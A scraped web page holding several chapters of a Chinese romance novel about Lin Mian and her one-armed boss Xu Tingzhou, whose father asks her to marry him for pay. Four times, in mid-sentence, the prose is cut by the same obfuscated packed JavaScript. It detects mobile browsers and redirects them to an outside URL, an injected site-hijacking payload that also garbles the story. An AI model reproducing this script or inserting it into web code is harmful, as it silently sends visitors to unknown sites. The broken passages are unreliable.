“相信我,呼吸一下新鲜空气,对你有好处。”他说,“你感觉冷的话,我可以把外套借给你。” 林棉很感动。“其实,我没有很伤心。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800351|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果我是你,我会对自己很失望。” “失望?” “难道不是吗?”他一边走向露台,一边对林棉说,“眼光如此之差,不该检讨?换作是我,我会怄死。” 本来是挺严肃的话题,而且许汀舟的口吻也很严肃,但林棉听了不知为何就是忍不住扑哧笑了。 落座后,林棉唤来服务生,告知要换桌。许汀舟又加点了一瓶红酒。 “喝点酒,没问题吧?” “我只能喝一杯。” “那就只喝一杯。”许汀舟道,“这里可以存酒,以后有机会,想喝的时候,还可以再来。”他望向露台下的花园和远处的街道,“原来从这里看出去,是这样的感觉。” “你没有上来过?” “没有。”他说,“以前总是怕麻烦。” 林棉心中微痛。 “谢谢你,许总。”她由衷地说。 “我又能帮什么忙呢?”他自嘲道,“打架我显然不在行。” “他才不配你动手!”林棉受不了他这样说自己,哪怕是玩笑话也不行。 许汀舟的表情一滞,左手微微蜷缩,又放开。 “说起来,我以前就很爱惜我的这双手,从不打架。”他的眼睛看着桌面上空虚的某处,“是的,那个时候,我还有‘双手’。” 侍者将醒好了的红酒倒入他们面前的高脚杯。 “我曾经想当一个雕塑家。二十岁的时候,梦碎了。”他端起酒杯的左手在颤抖,可他仍然将杯中的红酒一饮而尽。“我不知道老天要罚我什么,为什么要让我遭遇雷击。——你知道吗?当时我的右臂已经截肢,的父亲为了保住我的左腿不被截肢,几乎想尽了一切办法,可是我却已经不在乎了,对我来说,变成独腿人也好、瘸子也好,都无所谓了,因为我已经把我的右臂弄丢了,也弄丢了我的梦想。” “为什么和我说这些?”林棉虽然此前已经从沈乔那里得知了他曾因雷击截肢的遭遇,但她并不认为有必要知道这些,更何况,是从许汀舟的嘴里自己告诉她这不堪回首的痛楚。 “也许有些冒昧,但我觉得,可能……我比一般人能体会你的一些选择。”许汀舟说,“以一般人的择偶标准看来,你我的条件各有各的糟糕。但我还是想说,你还没有到需要饥不择食的地步。你年轻、健康、也很善良,你可以不用这么早就放弃希望,随随便便找一个凑合的人过日子。” “我觉得你说得对。”林棉一边点头一边说,“其实,我刚才面对关柏延的时候,底气并不是很足。因为,我忽然觉得自己也没有对他有那种死心塌地的感觉。我并不嫉妒、也不仇视他交往的另一个女人。如果说,我是他觉得还可以凑合过日子的女人,他对我来说又何尝不是‘将就’呢?我以为,考虑到自己的家庭情况,我可以在感情上选择将就,但事实是——我不甘心。” 他的眼神变得渐渐深沉,似乎若有所思。 “很好。”他说,“能这样想,说明你很勇敢。” 13. 独臂侠不是弱者 吃完饭,许汀舟唤来侍者。林棉并不打算与他争着买单,大大方方接受了他的请客。 下楼的时候,他照旧让她先行。她犹豫了一下,终还是开口道:“介不介意我和你一起下去?” 他没有立即回答她,在她忐忑不安地准备按照他的意思先下楼的时候,他小声道:“如果你不介意我走得慢的话……” “我不赶时间。”她笑。 右腿先往下,左腿再半拖着从上一级台阶垂放下来。 他走路的样子目不斜视,嘴唇微微抿紧,似乎完全专注于脚步的节奏上。 林棉很想让他借力一把,却又觉得无从帮起。 “陪我这么慢慢走,对你来说很累吧?”走下最后一个台阶,许汀舟道。 林棉没想到他会这么说,她都没敢问他走楼梯累不累,倒被他抢先了。 “怎么会?”她轻轻摇头。“许总,我很乐意陪你这样慢慢走,走多久都行。” 他的神情有些别扭,眼中似乎含着探寻与迷惑。而林棉自己也一霎间脸红了。她也意识到了,自己刚才的话容易产生歧义。 “你很好心。”许汀舟的眸子又变得宁静若水。“我已经让司机等在门外了,如果你今晚上没有别的安排,我让他送你回家。” “你呢?” “当然是送完你我再回家。” “那样会不会太晚了?”林棉脑子里忽然转到的是他头痛发作时的样子,他的身体不是太好,也许根本经不起疲累。“我记得附近有地铁的,我可以自己搭地铁回去。” “我送你。”他不容她异议。 上车后,许汀舟让林棉报了家庭地址。他听了之后轻声感慨了一句:“原来你也住那片小区。” “许总有认识的熟人在那里吗?” 他没有回答她,只是轻描淡写地笑笑。 林棉家的这片小区建于上个世纪八十年代末,房型老旧,也不像现在新造的商品房楼盘有醒目的入口处。进门处有一面矮墙,上面用铸铁镶了“国棉新村”四个大字。矮墙边上是一个小小的门卫室,负责管理进出车辆。 林棉熟知小区里的道路狭小,停车掉头都麻烦,因此不想麻烦许汀舟的司机特意开进去,便说在大门口放她下去就好。 许汀舟正要说话,眼睛却忽然凝视窗外。 她发现了他的异样,顺着他的视线往外看去。 离他们的车头不到两米远的地方,有年轻的一对男女偎依而立,男的双手一直拉着女孩的手说着什么。 “小许总……”司机老于回过头,看着许汀舟道,“这是戚小姐吗?” 许汀舟没有回答他,只沉声道:“把车开进去,送林小姐到楼下。” 林棉忽觉眼前的这位戚小姐很眼熟。 她想看个仔细,便按下车窗,准备探出头去。 “别看了。”许汀舟冷声道,“她是我女友。” 林棉目瞪口呆,半晌才说:“你别送我了,我自己走进去吧。” “好吧,路上小心。”许汀舟没有再执意送她。 她走下车朝着小区里面走,心里乱糟糟的。 接着她听到了汽车引擎发动的声音。她蓦然掉转头,朝着小区门口那对男女的方向走去。 他们一脸莫名地看着突然冲到他们面前的林棉。 停下脚步的她一时间也不知道能说些什么,只是气鼓鼓地瞪着那一对。 “林棉,你在干什么?”许汀舟从车里出来,一边脚步凌乱地朝她走过来,一边扬声问道。 她看着他急促而吃力的步伐,心中的愤怒不平更甚。 “那你又在做什么?你为什么要逃?”她冲他吼回去。 “这与你无关。”他在林棉身边站定,却并不看她。 “爱多管闲事是我的权利。”林棉补充道,“我似乎也从来没有限制过你的这一权利。” 许汀舟依旧不看她,也不接她的话。反而对着戚巧玲不失风度地颔首道了句:“打扰了。” “许汀舟,我……”戚巧玲磕磕巴巴地道,“我和他是已经分手的。” 林棉气不打一处来:“你们那样子叫分手?做了不敢认,最是讨厌!” “谁不敢认?”这个不知是戚巧玲的前男友还是现任暧昧对象的男人嚷了起来,朝着许汀舟怒目而对,“分手又怎样?牵手又怎样?我和巧玲交往快五年了,要不是巧玲家需要用钱,而你家正好有几个臭钱,他会选择一个断手的吗?我告诉你,我就是来挽回她的,我不会放手,我就是要告诉她,就算再辛苦,我也会把她的家庭重担挑起来,日子或许会过得穷一点,但我不会让她吃苦,更不会让她和一个不喜欢的人在一起熬一辈子!你们别想仗势欺人!” 那番话里夹枪带棒,林棉的第一直觉就是去看许汀舟脸色反应,他却似乎一脸云淡风轻。 “你挺有志气,祝你好运。”说完,他转身就走。 “许汀舟!”戚巧玲追过来,出于本能去拉他的手,却只拉到他空空的袖管。许汀舟停住脚步,她尴尬地松开手。 “你何必跟过来。”他的话里不带任何感情。没有愤怒,没有安慰,甚至没有疑问。 “我没有想放弃我们的关系。”戚巧玲的声音低若蚊吟。 林棉看不下去了:“你们的关系?可否解释一下你怎样定义你们的关系?你把许汀舟当成你的提款机吗?” 戚巧玲的样子仿佛也很委屈,一双眼睛里凝满泪水:“不,我是打算一辈子敬他、爱他的。” “打算?”林棉想也不想地道,“敬一个人、爱一个人不是件需要提早打算才能做到的事。更何况,我打赌你做不到!” “你是谁?凭什么咄咄逼人?” “展孟!”眼见自己的前男友朝着林棉气势汹汹地冲过来,戚巧玲阻拦了他,“别这样,是我不对!” 展孟道:“巧玲,今天你也看到了,你以为嫁入豪门一生就有保障吗?我知道你不是那种贪恋富贵的女孩,你也是为家庭所累,可是,你看那些有钱人,就算缺胳膊少腿,也会不断地有女人和你争抢,你难道一辈子要过这种生活?” 戚巧玲垂首啜泣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800352|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许汀舟道:“戚巧玲,其实今天的事,我也有错。我应该早点意识到,和我交往,你很勉强,而我……坦白说,也不见得多快乐。我们之间就此了结掉也好。以后如果你母亲的病有急用钱的地方,只要数目不算太大,我可以借给你,你慢慢还就是。” 林棉看着他的侧脸,他看上去平静、坚毅、果断而又带着几丝温情,他让她困惑而感动。 戚巧玲抬起头,也是一脸难以置信地看着他,眼中泪水未收:“不,你没道理再帮我。” “你别想仗着几个钱吊着巧玲。”许是因为受不了自己心爱的女人用温柔的眼神看着另一个男人,展孟一把扯过戚巧玲,将她拉到自己怀抱中。“你想装好人、博同情,别以为我不懂你那套!女孩子,总是比较容易对弱者心软。” “你说谁是弱者?”林棉连连反问,“谁要博同情?许汀舟吗?开什么玩笑?他比你优秀一千倍!” “哟,你这马屁拍得真响!想必那个有钱的残废会很受用吧?” “对极了,”许汀舟接得很快,表情却毫无起伏,“她的话让我这个有钱的残废很受用。另外,虽然我不知道自己有没有比你优秀一千倍那么多,但有一点我有自信,那就是我做人比你强。” 起初林棉听到他说自己是“有钱的残废”时,心中还很凄然,直到听完他后面的那句,嘴角不由泛起微笑。——就是这样!许汀舟!你很棒! “可笑!”展孟翻了个白眼,“要不是靠你老子的几个钱,哪个女的愿意跟你?你身边的这个吗?恐怕到时别说恭维的话,只怕多看你一眼都嫌你样子丑陋。” 这话太恶毒、太伤人了!林棉顾不得和展孟争执,担忧而怜惜地望向身畔站立的许汀舟——不要!不要被打垮!不要被击溃!她在心底祈求着。 他恰好望着她,似乎要从她的脸上寻找什么回应。他的眼睛里有碎碎的光,沉默而又充满探究。 她忽然踮起脚,吻住了他的嘴唇。 许汀舟没有马上推开她,他的眼底有迷茫不安,却没有反感抵抗。 她的吻离开了他的唇,伴着沉重的呼吸,松开勾住他脖颈的手臂,扭头对展孟和戚巧玲道:“谢谢你的提醒,让我意识到,我爱的这个男人不止很优秀、很帅气,而且还很有钱。——这个优点真的很棒啊!不过,他已经有那么多优点了,就算没有‘有钱’这一条,也还是有超过一百条理由让我爱上他的!也许你们不喜欢他的与众不同,那也好啊,省得大家和我争。我就不一样了,我觉得他这个独臂侠超帅的。” 林棉挽住许汀舟的左臂:“快送我回家吧,外面冷死了。” 许汀舟问:“你真的冷?” “嗯,快走啦。” 许汀舟道:“你先松开,我把外套脱给你。” 林棉原本想拒绝的,但想到做戏要做足,便也就依着他了。 看着他脱外套的姿势稍显别扭,她很自然地伸手帮忙。他也没有拒绝。 套上他的外套,她的心情忽然变得很好,重新挽住许汀舟的臂弯,扶着他坐回了车里。 14. 非分之想 两人坐进车里,一时无话。 夜风一吹,林棉的头脑恢复了清醒。想起刚刚的一幕,她有些不敢面对许汀舟。 到了分岔路口,司机于叔问:“林小姐,你家往左还是往右?” “啊?左转,谢谢!”林棉匆忙回应道。 车子转弯的时候,林棉的身子不由自主地往许汀舟的身上略歪倒了一些,本来这也没什么,只是她想起自己今天对许汀舟的言行,不觉脸孔发热,她偷偷瞄了一眼他,他的脸色古怪,被自己碰触到的右肩膀动了动。她忙不迭调整姿势坐直了。 “介意吗?” “什么?”她没听懂他所指的事。 他扭过头,眸子在昏暗的视野中依旧透着盈盈亮光:“我的……残肢。” 林棉看到,他的右肩膀朝后缩了缩,衬衣袖子底下很短的一截手臂,伴随着肩部细微的动作微晃。 原来他误会了自己调整坐姿的原因,他竟以为她是因害怕而躲闪。 “停车!”林棉叫住司机,车子应声停下。“许汀舟,你以为我说假的是不是?“这是她第一次当面直呼他的名字。 他盯着她,表情说不出是意外还是感动,又或者夹杂着其他什么情绪。 她的脸红了红:“哎呀,我承认刚才我是扯了很多谎,但有一句是真的啊——我真的觉得你这个独臂侠超帅的。” 说完,她不敢看他的反应,垂着眼道:“我就这里下车了,前面第二栋就是我家。谢谢你送我回家,嗯,也谢谢你借我外套。”说着要脱下他的外套。 “不急,你再穿一会儿。我送你到楼下。”他按住她的肩膀,跟着她下车。 她脱下外套准备递回给许汀舟,想了想后又改了主意,把外套披上了他的肩膀。 他似乎有一点点抗拒,在她的手指碰触到她右肩的那刻,他的肌肉颤动了一下。但最终接受了她的好意。 “不要害怕。”她按住了那团右臂——那真的只能形容为一小团,大概只有寸余长,在衣物的隔离下,她也感受得到它的残缺。“因为我也一点儿都不怕。” 他原本略带瑟缩的双肩舒展开,整个眼眉也仿佛亮了几分,整个人站得笔直,休闲的西装外套只是这样披着,就显得人很精神。林棉由衷赞叹道:“真好看。”说完又觉不好意思,着急跑开了,边跑边扭头朝许汀舟喊道:“拜拜,许总!” 他的唇角勾起一抹浅笑:“拜拜。” 林棉刚把钥匙插/进锁孔,还没来得及转动门把,房门就被母亲肖欢蕊从里面打开了。 肖欢蕊看上去不太高兴。林棉感觉得出来,但猜不透缘由。 她也不敢多话,向母亲打了个招呼就朝自个儿房间里走,准备拿上睡衣冲澡。 “阿棉。”母亲跟着她,“今晚送你回来的是谁?” “我老板啊。”她不觉得有何不妥,便诚实回答。 “我在窗户边看着,没看太清楚,这人……是不是少一条胳膊?” 虽说母亲说的那是事实,林棉心里有点难过:“嗯。” 肖欢蕊盯着她:“你怎么和他那么亲密?” “有吗?”林棉有些心虚,暗自庆幸幸亏母亲只看到她为许汀舟披衣的一幕,要是看到之前她几乎算是“强/吻”的举动,那家里才要炸锅呢。“我今天有事加了会儿班,他好心让司机送我回家。我有点感冒,他就好心把衣服借给我披了。他的手不是很方便,还衣服给他的时候,我就顺手帮他披上了。”为了防止母亲继续胡思乱想,她扯了个谎。 “嗯,他不方便,你举手之劳也没错。不过,和人交往你得有分寸。他是你老板,过于亲近,惹人嫌话不好。而且,自己也是有男朋友的人了,也该注意点。万一一个不巧,引起误会,好好的姻缘就给搅黄了。” 林棉几乎都快忘了今晚刚和关柏延撕破脸皮的事儿,经母亲这么一提才想起来。关于她的人生大事,肖欢蕊盯得紧,加上之前又约好了周末让关柏延来家里吃饭,算是预备见家长了。都到了这一步,总该给母亲一个交待。 “妈,”她试着组织语言,“我和关柏延已经分手了……” 还没等她继续作解释,肖欢蕊就急了眼:“你这孩子怎么回事?小关这小伙子条件不错,之前不也说谈得好好的,怎么说分就分了?你是不是和人乱撒小孩子脾气?能早点讲和就早点讲和,拖下去可就真过了这村没这店了!” 林棉简直无奈又委屈:“妈!你怎么不分青红皂白就知道数落我?我本来都打算带他上门了,你说我态度端不端正?突然分手当然是有充足的理由的。” “好,我听听你的理由是什么!” “如果一个男人,一面和你交往,一面又去勾搭别的女人,这叫什么?” “你是说小关脚踩两只船?你亲眼见的?” 林棉道:“可不是?更可笑的是,他居然还和我大言不惭地说仍然打算和我结婚,和对方只是出于某种目的各取所需。妈,我知道你想我早点嫁人,我也想找个好男人嫁了,可找这样的人,不是嫁人,那是入坑!”林棉为了不让母亲心里难受,已经过滤掉了关柏延那些更为不堪的说辞。 肖欢蕊不说话了,半晌才闷声闷气地道:“什么恶心人的东西!亏得早发现!” 见母亲全然接受了她的解释,林棉也舒了口气,抱着肖欢蕊的胳膊开始摇晃撒娇:“我答应你,一定再接再厉,争取早点把自己嫁出去,好不好嘛!” 肖欢蕊脸色舒展了些:“这还差不多。” 林棉问:“小谷睡了吗?” “早睡下了,之前还想等你回来给她讲故事,后来太困了,就睡了。” “那我不吵醒她了。” “你也早点洗好睡吧,明天还要上班呢。”肖欢蕊道,“对了……你那个老板多大年纪?” 林棉仰天长叹:“妈呀!你不会打主意打到他身上了吧?” 肖欢蕊看上去还真像是认真作答的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800353|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你不是说你进的是家大公司吗?那你老板还挺年轻有为的。本来吧,这样的人如果对你有意思,我是觉得挺好。就是看他残疾得有些严重,我心里倒也不很乐意……” 林棉哭笑不得:“妈你想多了。他才看不上我这个菜鸟呢!” 肖欢蕊说:“那你呢?对他有没有想法?” 林棉楞了楞:“我哪敢有非分之想!” 肖欢蕊不太满意她的回答,摇头道:“他条件很好吗?当然,论家境和工作是比我们好一大截,可他自身条件差呀。论到‘非分之想’四个字,你俩指不定说谁合适呢!” 林棉噘嘴:“什么叫人家‘自身条件差’,除了少条胳膊,腿有点跛,又有什么了!” “啥,腿也有毛病?”肖欢蕊啧啧摇头,“我刚黑乎乎的也没看清!那可真不行了,你可得和他保持距离。再有钱,没有好身体,也照顾不到家庭,眼下已经有个小的够麻烦了,再弄个大人也四体不全的,你这辈子都翻不了身了!” 林棉可真不爱听了!可说话的人是自己亲妈,也不好和她吵起来,只好借口说累了,要去洗漱,这才阻止了母亲继续喋喋不休地品评许汀舟。 之后的几天,林棉过得很平静。工作日照常上班,双休日在家陪陪母亲和小谷。直到周日晚上,接到一通沈乔打来的一通语焉不详的电话,似乎在预示着她几乎没有波澜的生活将被打破。 沈乔打来电话的第一句话就很不寻常:“你和许汀舟之间是不是有事?” 林棉心里咯噔一下,不确定对方知道些什么,只好打哈哈道:“说什么呢!” “我可给你提个醒,许老先生可向我和汪豫都打听过你的情况了。” “哪个老先生?” “还能是谁!当然是许汀舟的父亲。”沈乔道,“能惊动他老人家打听的人不多,我想你并不认识他,他也不太有可能认识你,更不可能对你的背景无缘无故起什么兴趣。唯一的解释是,他是为了别人打听的。但我想来想去,他能为了谁?谁能让他这么在意?他这辈子最在乎的,只有他这个儿子了。许伯父知道我和汪豫和许汀舟是朋友,也知道我们都认识你,所以才会来向我们打听。他是个精明的商人,也是一个爱子如命的慈父,如果你和许汀舟之间没有任何联系,他不会无缘无故这么做的。” 林棉越听越觉得沈乔分析得有道理,然而自己欲再往下想,又变得越来越理不清关节。 “林棉,你是不是和许汀舟有些什么……暧昧?”沈乔斟酌着用词,小心翼翼地问。 林棉惊叫着否认:“没有的事!” 沈乔道:“我打电话来也不为了八卦,实在也是有些担心你们。若是你们之间啥事儿也无,可能是有什么让老先生产生误会了。走着看吧,也许老先生会直接找到你那儿去,你心里也有个底,别一下子被吓着了。” 林棉光想想就有些紧张。虽然完全不知道接下来会发生什么,但这点才更让人心神不宁。 15. 云泥之别 此后的几天照旧没有任何惊喜或惊吓。就在林棉快要淡忘沈乔的“温馨提示”之际,她接到了许远山的电话。 要不是有沈乔提前预告这种可能性,她大概会表现得更吃惊。对于如何取得她的号码,她毫不惊讶,作为这家公司的大股东,要得到一个员工的资料太容易了。更何况,据沈乔的说法,他已经提前向她和汪豫打探过她不少消息,手机号码恐怕只是最基本的。 电话是许远山亲自打的,邀她中午到公司附近的一家咖啡馆见面。又很抱歉地说暂时不想让许汀舟知道他与她的约谈,因此越低调越好,就不派车来接她了,让她自己打个车过去。 “许老先生,”林棉的舌头有些打结,“我可以问一下,你约我见面是为什么事吗?” 电话那头的声音沉稳而慈祥:“林小姐,我知道这很冒昧,这事电话里一时半刻说不清,总之我没有恶意,我为的是我的儿子。” “许总?”林棉下意识地握紧了手机,“他有什么事需要我帮忙?” 许远山的声音在电话里听来似乎轻笑了一声:“嗯,也可以这么说。” 林棉不再犹疑:“好,许老先生,我会来的。” “暂时不要惊动汀舟。”挂断电话前,许远山最后嘱咐道。 林棉照办。 许远山看到她走进咖啡厅,竟亲自从座位上站起,迎着她过来了。 林棉虽没见过许远山,但看着这个男人朝自己的方向来,长得又和许汀舟有七分相似,年龄也差不多吻合,便知道他就是许汀舟的父亲。 “您好!”看着对方笑脸相迎,她有些受宠若惊。 “林小姐,这边请坐。” 许远山吩咐侍者上了些甜点和咖啡,转而对林棉道:“我知道你午休时间,但我又不想占用你晚上的私人时间,冒昧做主给你点了些简餐,今天主要是找你谈些要紧事,以后有机会,我很愿意好好请你吃个饭。希望你理解。” 她的客气让林棉更加忐忑:“许老先生您太客气了,我中午吃得很随便的。您有什么话只管说。” “那我就开门见山了——”许远山道,“你对我儿子印象怎么样?” 还好咖啡还没上,不然此时嘴里若是含着一口,恐怕林棉会形象尽失地喷出来。 这种对白的潜台词,她还是能听懂的。 “许老先生,是不是对我有什么误会?”林棉抓了抓耳垂,有些无奈。 “不见外的话,叫我许伯伯好了。” “许……伯伯,”她艰难改口,“或者说,我误会了你问话的意图?” “不,你没有。”许远山看着她的脸,说“你是个聪明孩子,应该知道我的心思。” “我好像是猜到一些,可我不太明白啊!”她一脸尴尬和无辜,“不,应当说,我完全不明白到底是什么让您产生了误会。” “小林,你不要激动,”许远山倒是很沉着镇定,“听我慢慢和你说。” 林棉其实觉得今天的这次见面满荒谬的。如果是过去,她一定觉得这种情节只会发生在狗血影视剧里。如果今天请她的不是许汀舟的父亲,恐怕她早就拂袖而去了。 “小林,我可以这样叫你吧?”在得到肯定的许可后,许远山继续道,“汀舟的伤是怎么造成的,你可知道?” “听说过一些,但不知详情。”想到她的伤残,她的心思、她的声音都变得柔软。 “大二暑假的时候,我带他去的高尔夫球场。”许远山的眼睛里有了一抹浑浊的湿气,“突然而至的一场雷暴雨,他被闪电击中,电流从右臂贯穿到了他的左腿。结果就是,右臂截肢,左腿也受了严重的损伤。你应该看得出来,他的膝盖和脚踝都不好,肌腱也损伤得比较严重。普通人像他这样程度的伤残,多半是要拄拐的,可他却坚持复健,又自己琢磨了些技巧,这才能离了拐杖行走。他说过:自己只剩一只手了,不能用来拄拐用,那样就太浪费了。” 林棉的眼泪不争气地掉在了桌面上。 “他原来是预备做雕塑家的啊。”许远山哽咽着叹息道。 “我知道,听他提过。” “他和你说过这些?”许远山讶异。 “提过一提。”她说,“不过,我觉得他做什么都可以成功。” “不,”许远山悲戚地摇头,“尽管不乐意,可我必须承认,变成残疾的他,有很多事情力不从心。可我多么希望,至少他的身边有一个人能真正懂他、疼他,他也不必一个人什么都忍在心里。可是这也很难,他的情况,很多女孩子都接受不了,能接受的女孩子,又大多出于其他的目的。汀舟是那么骄傲的一个人,他受不了别人勉为其难又或别有所图才和他在一起。” 她赞同许远山的话。她怎么会看不出许汀舟的骄傲?他也有资格可以保有这份骄傲的,不是吗? “许伯伯,会有好女孩心甘情愿地和许总在一起的。”她的话出自真心,并非只是口头上的宽慰。 “你真这样想?” “真的。”她的一双大眼睛亮晶晶地注视着许远山,不住点头,“不知道为什么,您也好,许总自己也好,总把他的缺陷放得那么大,我可不觉得。” “那么,你愿意尝试和他在一起生活吗?” “哈?”林棉着实惊呆。 “我是说——尝试。”许远山强调,“你愿意给他一个机会吗?” “这不是我说了算的吧?”她下意识地喃喃道。 “当然,如果你这头同意了,我也会和他去谈。” “不不不!”要疯了!她可不想失去这份工作,更不想被许汀舟想成“癞蛤蟆想吃天鹅肉”的笑柄。 一点没错!折翼的天鹅就不是天鹅了?他还是只高贵无比的天鹅好吗? 他与她之间,分明是云泥之别! 许远山又道:“小林,坦率地说,我调查过你。你家里的情况,我都清楚。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800354|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “所以您看,我俩并不合适。”林棉倒是不生气,反而顺着他的话道,“我只是工薪家庭出身,而且父亲早逝,更重要的一点是,我还有个孩子。这种条件,和许总实在不太匹配。” “你说的是真心话还是客套话?” “句句属实。”林棉敢拍胸脯。 “说到汀舟,你说是我们把他的缺陷放得太大,怎么说到你自己,你倒反而不自信了呢?”许远山微笑道,“比起汀舟的自身残疾,你那些外在的家庭负累又算得了什么?何况,你敢不计较回报,收养一个弃婴,这就证明你是个有担当、有爱心的女孩子,这不是坏事。” 他的话让林棉心中感到温暖:“谢谢您,许伯伯。其实,我也没有您说得那么好。当时收养小谷,与其说是我有担当,不如说是我太冲动、太幼稚。我并没有把今后的困难想得很细,事实上,如果没有我妈帮忙带孩子,我一个人都不知道怎么办。我妈常说,我这献爱心是建立在剥削她劳力的基础上的,我觉得她说得没错。我也挺愧疚的。“ “那你后悔过自己当时的选择吗?“ “那倒没有。“她说,“我只是想尽早能够凭借自己的力量抚养好这个孩子,可我这个人能力比较差,还不知道什么时候能做到这一点。” “你也别觉得惭愧,要说现在这社会,即便很多成了家的子女,也还要上一代来帮忙带孩子的。年轻人忙事业,哪里有空一天到晚围着孩子转,除非是全职主妇,那毕竟也是少数。”许远山话锋一转,”如果你和汀舟成了,你要上班也罢、做家庭主妇也罢,我总是支持的,关于孩子的日常照顾和教育问题,你不会有后顾之忧。你的孩子叫小谷是不是?今年也该入幼儿园了,许氏这几年也有涉足教育,文心双语幼儿园你听说过吗?我可以安排小谷入学。” 林棉张口结舌。她在心里告诉自己要拒绝,嘴却张不开。她的沉默许是给了许远山希望,他又道:“小林,我知道我提出这一请求很冒昧、甚至,显得不是很礼貌,可是,身为一个父亲的私心让我还是这样做了。你放心,我可以承诺你的是:我们许家不是一个牢笼,我只是希望你给汀舟一个机会,如果你最终要离开,随时都可以。” 她强迫自己平静下来,问:“您说的请求,是要我和许总交往吗?” “不,我的请求是,希望你们结婚。” 林棉再也无法佯装镇定了:“许伯伯,您、您这想法也太超前了吧?” “是有一些过分。”许远山并不否认,“可我想明白了:瞻前顾后又如何?也未必于汀舟有什么好处。他曾经是个果断、自信也很温暖的孩子,自从那件意外以后,性格发生了很大的改变,在很多事情包括感情上,都裹足不前,而我也理解他的顾虑,因为,我也不乏同样的顾虑。可是,你的出现让我想尝试改变自己、也改变他对生活、对感情的态度。” 林棉不免好奇:“您凭什么认为我能有这么……这么大的‘功效’” 16. 因为是你 许远山道:“不,我不确定这次尝试的结果会如何,也不需要在你这里求得保证。不过,我也并非毫无把握,相反,我挺看好你们的未来。” 林棉想来想去,也只有那晚在自己小区门口主动亲吻许汀舟的那件事会引起许远山的误会了。只怕是当晚开车的司机传了消息。她解释道:“如果是因为我对许总做了什么不恰当的举动,让您产生误会了,我向您道歉……” 许远山摆了摆手:“我大概能猜到当时的情况。你是要告诉我,你和汀舟并非恋爱关系,你那样做,是出于……解围?差不多是这样的意思,对吗?” 是,又似乎不全是。林棉的脑子有点混乱。 “我很了解,所以我才说,那是一个尝试。我知道,这对你来说,风险很大。一旦失败,你也会蒙受很大的损失。你若是拒绝,也是人之常情,我只是希望你好好考虑一下我的提议。”许远山喝了口咖啡,目光灼灼,“你有什么要求,也可以提。——这话听着很势利,可我是个生意人,既然这件事是我拜托你,就该用我熟悉的方式来打动你。” 林棉说:“我没有要求。” 无聊的时候,林棉也没少看一些狗血泡沫剧,看到那些富豪之家砸钱劝贫民女主离开自己儿子的剧情时,她总是感同身受般觉得那是一种羞辱。但是,当今天许远山慈爱有礼地对自己说出类似的话时,她的心中并无愤懑。她的第一反应只是澄清自己并非为了争取更优惠的条件而拿乔。即便许远山的话究其本质有些唐突失礼,她也愿意给予一个慈父最深的谅解。 “那么,你先听听看我说,怎么样?”见她张口欲阻的模样,许远山打断道,“小林,只是听听看,不会有什么损失的。” 林棉无奈闭嘴。 “只要你愿意给汀舟三年的时间,无论往后你能不能陪他走下去,小谷从幼儿园到大学毕业的学费、生活费都将由许家承担。当然,如果本科毕业以后,小谷还想继续深造,之后的费用我们也会承担,出国留学也可以。至于结婚时的彩礼、婚后的零花钱、或者离婚后的赡养费,你只管提要求。另外,如果汀舟够有福气,你们琴瑟和鸣、生儿育女,我会给你百分之十的许氏股份,外加一千万现金奖励。” 林棉吸了口气,问:“这是您开出的条件,我为此需要尽的义务是什么?只是嫁给您的儿子?而且还设了期限?”她傻傻地加了一句,“您知道吧?本来也没什么人愿意娶我。”言下之意,这买卖您怕是要亏。 许远山温厚地一笑,似乎看穿了她的心思:“女人三年的青春很珍贵,我们许家怕是还占了便宜的。” 条件很诱人,但林棉的自尊心不允许她点头。 她的三观告诉她,无论这看上去多美,这始终是一个买卖婚姻。走入这个婚姻里,她和许汀舟的关系注定是不平等的。她不是个女权主义者,但她毕竟是一个现代女性,她不能接受这样的夫妻关系。 “对不起,许伯伯。”她站起身,说:“午休时间有限,我要回去上班了。” 许远山显得很淡定:“我不方便送你过去,真是不好意思害你这样来回一趟。” 他坚持将林棉送到门口,亲自替她拦了的士,又送她上车离开。 尽管如此,回到公司的时候,也已经过了正常的午休时间。 